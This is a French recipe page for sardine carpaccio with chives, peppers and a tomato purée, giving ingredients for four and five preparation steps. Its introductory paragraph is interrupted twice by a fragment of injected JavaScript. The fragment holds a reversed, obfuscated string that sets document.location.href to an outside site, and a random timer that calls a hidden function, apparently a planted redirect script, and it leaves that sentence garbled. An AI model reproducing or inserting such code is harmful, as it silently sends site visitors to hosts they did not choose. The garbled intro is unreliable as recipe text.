Carpaccio de sardines à la ciboulette
2018-01-02- Cuisine : Carpaccio, Poissons
- Thématique : Végétarien
- Niveau : Facile
Égouttez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates pelées. Dans un récipient mélangez 4 cuillères à soupe d’huile d’olive avec le jus de citron, le piment d’Espelette, 2 cuillères à soupe de ciboulette et les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates pelées, 1 cuillère à soupe de sucre en poudre.
Ingrédients
- Pour 4 personnes
- 600 g de filets de sardines fraîches
- 1 poivron rouge
- 1 poivron jaune
- 1 boite de 4/4 de tomates pelées
- 1 jus de citron vert
- 3 cuillerées à soupe de ciboulette hachée
- 3 cuillerées à soupe d'échalotes hachées
- 1 pincée de piment d'Espelette
- 5 cuillerées à soupe d'huile d'olive
- 1 cuillère à soupe de sucre roux
- Sel
Préparation de la recette
Etape 1
Égouttez les tomates pelées. Dans un récipient mélangez 4 cuillères à soupe d'huile d'olive avec le jus de citron, le piment d'Espelette, 2 cuillères à soupe de ciboulette et les tomates pelées, 1 cuillère à soupe de sucre en poudre.
Etape 2
Faites mijoter sur feu doux à découvert pendant 30 minutes jusqu'à obtenir une purée épaisse. Laissez refroidir.
Etape 3
Lavez, séchez les poivrons. Coupez-les en deux. Ôtez les petites graines et la peau blanche.
Etape 4
Les détailler en petits dés. Répartissez les sardines et poivrons dans chaque assiette. Arrosez d'huile parfumée.
Etape 5
Parsemez de ciboulette. Servez avec le reste de la purée de tomate.
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